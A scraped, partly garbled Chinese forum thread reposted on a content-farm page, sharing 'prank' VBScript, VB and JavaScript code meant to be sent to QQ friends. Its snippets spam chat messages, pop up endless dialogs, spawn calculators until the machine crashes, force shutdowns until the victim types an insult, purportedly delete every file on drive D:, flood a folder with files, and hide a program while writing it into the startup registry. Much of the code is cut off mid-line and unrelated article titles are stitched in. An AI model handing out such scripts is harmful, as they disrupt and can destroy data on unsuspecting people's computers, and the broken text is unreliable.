近义词反义词-读者文摘读后感
vbs整人代码大**
一、你打开好友的聊天对话框,然后记下在你Q Q里好友的昵称,把下面代码里的xx替换一
下,就可以自定义发送QQ信息到好友的次数(代码里的数 字10改一下即可).
=>
=------------------------- --------------------------------------------------
On Error Resume Next
Dim wsh,ye
set wsh=createobject(
for i=1 to 10
700
ivate(与 xx 聊天中
ys
ys i
ys
next
---------------------------------------- ------------------------------------
QQ骚扰信息,也可以用在其它程序上。
二、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈
------------------------------------------------ ------------------------------
do
msgbox
loop
------------------------- -------------------------------------------------- ---
三、打开无数个计算器,直到死机
---------------- -------------------------------------------------- ------------
set wsh=createobject(
do
loop
-------------------------------- ---------------------------------------------
四、直接关机
----------------------------------- ------------------------------------------
dim WSHshell
set WSHshell = object(
----- -------------------------------------------------- ----------------------
五、删除D:所有文件
------- -------------------------------------------------- ------------------
dim WSHshell
set WSHshell = object(
----------------------- -------------------------------------------------- ---
六、不断弹出窗口
---------------------------- ------------------------------------------------
while(1)
msgbox 哈哈 你被耍了!
loop ------------------------------------------------ ----------------------------
七、不断按下alt+f4 (开什么都关闭……)
---------------------------------- -----------------------------------------
dim WSHshell
set WSHshell = object(
while(1)
ys
loop
---- -------------------------------------------------- ---------------------
八、按500次回车
(以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改)
----------------------------- ------------------------------------------------
dim s
do until s=500
s=s+1
msgbox 哥们,给我按500次回车吧
loop
'------------------------ -------------------- ----------------------------------------
九、关不掉的窗口
--------------------------------- -------------------------------------------------- -
(嘿,谢谢你打开我哦,我等你很久
拉!
(你是可爱的小朋吗?
(哈,我想你拉,这你都不知道吗?
顶
0
举报 | 2011-06-01 20:46回复
菊花爆开
电白自学
2楼
(怎么才来,说~是不是不关心我
(哼,我生气拉,等你这么久,心都凉啦。
(小强很生气,后果很严重哦。
(嘿嘿!你也会很惨滴哦
(是不是想清除我?
(那你 要点上50下哦,不过会给你惊喜滴
(还剩49下,快点点哦
(还剩48下,快点,小笨蛋!< br>(还剩47下对,就这样快点点!
(还剩46下。你啊就是笨,要快哦,我先不打扰
你工作。
(还剩45下,记得要快哦!
(还剩43下
(还剩42下
( 还剩41下
(还剩40下
(还剩39下
(还剩38下
(还剩37下
( 还剩36下
(还剩35下
(还剩34下
(还剩33下
(还剩32下
( 还剩30下
(还剩29下
(还剩28下
(还剩27下
(还剩26下
( 还剩25下
(还剩24下
(还剩23下
(还剩22下
(还剩21下
( 还剩20下
(还剩19下
(还剩18下
(还剩17下
(还剩16下
( 还剩15下
(还剩14下
(还剩13下停停!!!慢点,我有话要说
(还剩12下,你 继续点我就会消失滴
(还剩11下,以后就看不到我拉。555555
(还剩10下,你现在可 以选择停止!
(还剩9下。你还点啊,不要我拉?
(还剩8下,有点伤心拉,干嘛丢弃人家(还剩7下。疯了,你有点负意!
(还剩6下。对。你就点吧,我恨你!
(还剩5下,不明 白,删除我你就好吗?
(还剩4下!真要删除我?
(还剩3下。可是我真的很眷恋你。。。(还剩2下。不要这么绝情嘛,人家是爱你
的!
(还剩1下。哼,既然你这么绝情。也别怪我无
义!!!
(我本因该消失的,不过我留恋你滴芳容,上帝
又给了一次机会 。
(想结素我么?那你就再多点一次
(想结素我么?那你就再多点一次
(想结素我么? 那你就再多点一次
(想结素我么?那你就再多点一次
(想结素我么?那你就再多点一次
(想结素我么?那你就再多点一次
(想结素我么?那你就再多点一次
(想结素我么?那你就再多 点一次
(想结素我么?那你就再多点一次
(想结素我么?那你就再多点一次
两个整人的 VBS脚本
测试环境:Windows 2003 系统
大家好 我是Vanlisa QQ137841986
今天给大家带来两个整人的VBS脚本 希望大家喜欢
VBS脚本大家都知道吧 第一个是定时关机的
如果把他发给你的QQ好友 他不懂的话 如果不输我是猪 电脑就会在你设定的
时间内关机 我设置的是3分钟 只要输入就解除了 当然如果不输的话也有解除的办法
我们来看下这个脚本
---------- -------------------------------------------------- --------------------
on error resume next
dim WSHshellA
举报 | 2011-06-01 20:46回复
菊花爆开
电白自学
3楼
set WSHshellA = object(
说我是猪,不说我是猪就一分钟关机,不
信,试下···
dim a
do while(a <> 我是猪
a = inputbox (说我是猪,就不关机,快撒,说 我是猪说不说
msgbox chr(13) + chr(13) + chr(13) + a,0,
loop
msgbox chr(13) + chr(13) + chr(13) + 早说就行了嘛
dim WSHshell
set WSHshell = object(
msgbox chr(13) + chr(13) + chr(13) + 哈哈哈哈,好乖
----------------------------- -------------------------------------------------- -
新建一个记事本 把上面的代码复制进去 另存为VBE格式的就可以了
c shutdown -r -t 180 -c
这里的数字可以修改关机时间 180秒
这些文字也可以自设 这个脚本启用cmd 里的关机程序
如果不输的的话 可以打开任务管理器 输入shutdown -a 来解除 我们试下 这时定时关机已
经没了 但是还有个关不掉的窗口 我们打开任务管理器 结束掉 这个进程就OK
了 这时就完全解除这个脚本了 Wscript 时Windows 脚本宿主
------------------------------------ -------------------------------------------------- -----
下面看第二个整人的脚本
----------------------- -------------------------------------------------- ------------------
set ws=createobject(
call shutdown(1)
do while a<>我是猪
a=inputbox(快在下面的框框里输入我是猪,否则后果自负,快输我是猪输不输
loop
call shutdown(2)
msgbox 早说就行了嘛< br>msgbox再输一遍我是猪!
msgbox我是猪!
MsgBox最后一次!
MsgBox如果你很快的点过去,不看的话
MsgBox我就要你踩我空间的!哼!
MsgB ox从前有座山!
MsgBox山里有个庙.
MsgBox庙里有个老和尚在讲故事.
msgbox哎呀累了!数绵羊哄我睡觉
for i=1 to 100
MsgBox i&只绵羊
next
msgbox哎呀我困了,这次就饶过你吧, 下次注意哦!
msgbox最后问个问题,我是不是大好人!
if inputbox(是不是请选择是是
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
case 2
end select
end sub
---------------------------------- ----------------------------------------------
p:137841986infocenter
这段代码可以改成你自己设定的地址
如果别人不输我是猪的话就会一直点下去 点到你设定的数字
for i=1 to 100
从1到100
可以改成 20 其他的数字
解除这个VBS脚本的办法就简单了 只是关掉任务管理器里
这个进程就好了
[color=#FF0000]复制以上代码,在桌面建一个文本,把代码 放进去,另存为VBS格式,
举报 | 2011-06-01 20:46回复
菊花爆开
电白自学
4楼
此代码的威力:
1:开机就强制自动关机
2:cmd命令打不开
3:结束任务不管用
4:F8安全模式也不管用
呵呵!听起来是不是有点恐怖啊,我在我朋友空间里看见也吓了一跳、
代码破解方法:就是再运行一次,就可以破解了,也就是第2次保存的那个VBE文件,,
PS:不要乱拿软件去整人,发生什么事可不要怪我啊。。
拍拍手 顶起吧!
网页整人效果代码
想看效果,只要复制这下面的所有代码保存在tex t文件里,修改文件后缀为txt就能看到
效果了。
alert('我不是说过不可以这样吗?');
alert('你把我的话当什么了?');
alert('你知道错了吗?');
alert('什么?你居然....');
alert('居然还没意识到自己做错了?');
alert('那好,你要为此付出代价!');
alert('我要你在这里点足一千下......');
alert('什么?你开始有点后悔了?');
alert('何必呢?');
alert('你当初干什么去了?');
alert('不原谅你!');
alert('好从现在开始再点995下......');
alert('你的手开始累了吗?');
alert('什么?你已经没力气了?');
alert('你一直在求我原谅你啊!');
alert('看来你是真的知道错了!');
alert('下次你还会这么做吗?');
alert('真的不会了?');
alert('那好,今天就放你一马!');
alert('写封信给我说声对不起!');
alert('你能这么做我很高兴!!!');
r='black';
r='White';
='mailto:mygod@god?su bject=对不起,下次不敢了!';不许把鼠标移到这
里
嘻试吧爽噢。。
vbs整人代码
代码如下:
Private Sub Form_Load()
End Sub
Private Sub Timer1_Timer()
'声明变量,其中“count”为静态变量,以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定义要把生成的文件存放在那个目录文件下
c =
'生成文件的内容
nr = 哈哈,被黑的感觉的不错吧
files = FreeFile
'如果a等于a那么就执行
If a = a Then
'count不断的加1,以便产生不同的文件名
count = count + 1
'产生文件名及文件句柄,并用count作为产生不同的文件名。
Open c &
'向文件写内容
Write #files, nr
'清除文件句柄,这里很重要,如果不清除,将产生打开文件太多的错误提示
Close #files
End If
End Sub
举报 | 2011-06-01 20:46回复
扯淡丶
虞冷暖丶
5楼
vbs是咩啊
举报 | 2011-06-01 20:48回复
扯淡丶
虞冷暖丶
6楼
是VB?
举报 | 2011-06-01 20:49回复
菊花爆开
电白自学
7楼
VBScript
举报 | 2011-06-01 20:51回复
扯淡丶
虞冷暖丶
8楼
引用 电白自学 (7楼)VBScript
区别?
举报 | 2011-06-01 21:19回复
菊花爆开
电白自学
9楼
VBScript(Microsoft Visual Basic Script Editon).,微软公司可视化BASIC脚本版). 正如其字面所
透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言...............直接从百科
拉来的- -
举报 | 2011-06-01 21:23回复
112.3.254.* 10楼
你妈的死垃圾!
举报 | 2011-06-02 12:03回复
Angel_天一色丶
11楼
就楼主会一点 其他的没几个会的 都不知道哪里抄的
举报 | 2011-10-06 18:34回复
安纾毅
12楼
我去。。 真是 。。 绝了、
举报 | 2011-12-17 00:37回复
218.13.32.* 13楼
举报 | 2011-12-22 08:41回复
QQ97000946
14楼
以下代码危险,请谨慎添加!!!
Private Sub Form_Load()
e = False '隐藏窗体
sible = False '在任务管理器中隐藏应用程序(不能隐藏进程)
Timer2.“” = 100 '“”中的代码我忘了,不过你懂的
End Sub
Private Sub Timer2_Timer()
i = i+1
if i = 1 then '每0.1秒将自己写入开机启动注册表
Set W = CreateObject(
on error resume next '忽略错误
te
e, &
i = 0
end if
end sub
把以下代码复制到记事本中 然后重命名为后缀名为VBS的文件~
do
msgbox爽死你~
loop
大学学风建设-课题研究阶段性总结
如何写创业计划书-主宾搭配不当
分外-炸排骨的做法
过年作文300字-中国古典美女
草皮种植-bec中级答案
wudao-罗文精神
天上的星星有几颗-水养富贵竹图片
好歌推荐吧-烧完美好青春换一个老伴
本文更新与2021-01-12 15:13,由作者提供,不代表本网站立场,转载请注明出处:https://www.bjmy2z.cn/gaokao/511896.html
-
上一篇:标准的个人简历表格(免费下载)
下一篇:教大家自制一个整人的小程序